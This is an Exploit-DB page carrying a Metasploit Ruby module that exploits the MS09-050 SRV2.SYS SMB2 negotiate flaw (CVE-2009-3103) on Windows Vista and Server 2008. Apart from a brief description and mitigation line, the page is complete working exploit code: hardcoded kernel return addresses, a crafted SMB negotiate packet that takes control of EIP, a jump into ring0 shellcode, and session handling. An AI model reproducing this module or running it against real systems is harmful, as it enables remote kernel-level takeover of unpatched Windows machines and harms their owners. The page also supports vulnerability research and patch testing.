header-logo
Suggest Exploit
vendor:
Windows Vista, Windows 7, Windows 2008 Server
by:
laurent.gaffie[at]gmail.com, hdm, sf

Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference

This module exploits an out of bounds function table dereference in the SMB request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7 release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista without SP1 does not seem affected by this flaw.

Mitigation:

Install the security update from Microsoft
Source

Exploit-DB raw data:

##
# $Id: ms09_050_smb2_negotiate_func_index.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::KernelMode

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
			'Description'    => %q{
					This module exploits an out of bounds function table dereference in the SMB
				request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
				release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
				without SP1 does not seem affected by this flaw.
			},

			'Author'         => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'MSB', 'MS09-050' ],
					[ 'CVE', '2009-3103' ],
					[ 'BID', '36299' ],
					[ 'OSVDB', '57799' ],
					[ 'URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html' ],
					[ 'URL', 'http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'           => 1024,
					'StackAdjustment' => -3500,
					'DisableNops'     => true,
					'EncoderType'     => Msf::Encoder::Type::Raw,
					'ExtendedOptions' =>
						{
							'Stager'  => 'stager_sysenter_hook',
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Vista SP1/SP2 and Server 2008 (x86)',
						{
							'Platform'       => 'win',
							'Arch'           => [ ARCH_X86 ],
							'Ret'            => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)
							'ReadAddress'    => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
							'ProcessIDHigh'  => 0x0217,     # srv2!SrvSnapShotScavengerTimer
							'MagicIndex'     => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sep 07 2009'
		))

		register_options(
			[
				Opt::RPORT(445),
				OptInt.new( 'WAIT', [ true,  "The number of seconds to wait for the attack to complete.", 180 ] )
			], self.class)
	end

	# Not reliable enough for automation yet
	def autofilter
		false
	end

	def exploit
		print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
		connect

		# we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
		# and srv2!SrvProcPartialCompleteCompoundedRequest
		dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]

		data  = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
		data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
		data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
		data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34
		data += [ 0x42424242 ].pack("V") * 7  # Unused
		data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)
		data += [ 0x41414141 ].pack("V") * 6  # Unused
		data += [ target.ret ].pack("V")      # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
		data += payload.encoded               # Our ring0 -> ring3 shellcode

		# We gain code execution by returning into the SMB packet, begining with its header.
		# The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
		# This will cause an access violation if executed as we can never set EBX to a valid pointer.
		# To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
		# This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
		# We patch the Signature1 value to be a jump forward into our shellcode.
		packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
		packet['Payload']['SMB'].v['Command']       = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
		packet['Payload']['SMB'].v['Flags1']        = 0x18
		packet['Payload']['SMB'].v['Flags2']        = 0xC853
		packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
		packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
		packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...
		packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )
		packet['Payload'].v['Payload']              = data

		packet = packet.to_s

		print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
		sock.put( packet )


		wtime = datastore['WAIT'].to_i
		print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
		stime = Time.now.to_i


		poke_logins = %W{Guest Administrator}
		poke_logins.each do |login|
			begin
				sec = connect(false)
				sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
			rescue ::Exception => e
				sec.socket.close
			end
		end

		while( stime + wtime > Time.now.to_i )
			select(nil, nil, nil, 0.25)
			break if session_created?
		end

		handler
		disconnect
	end

end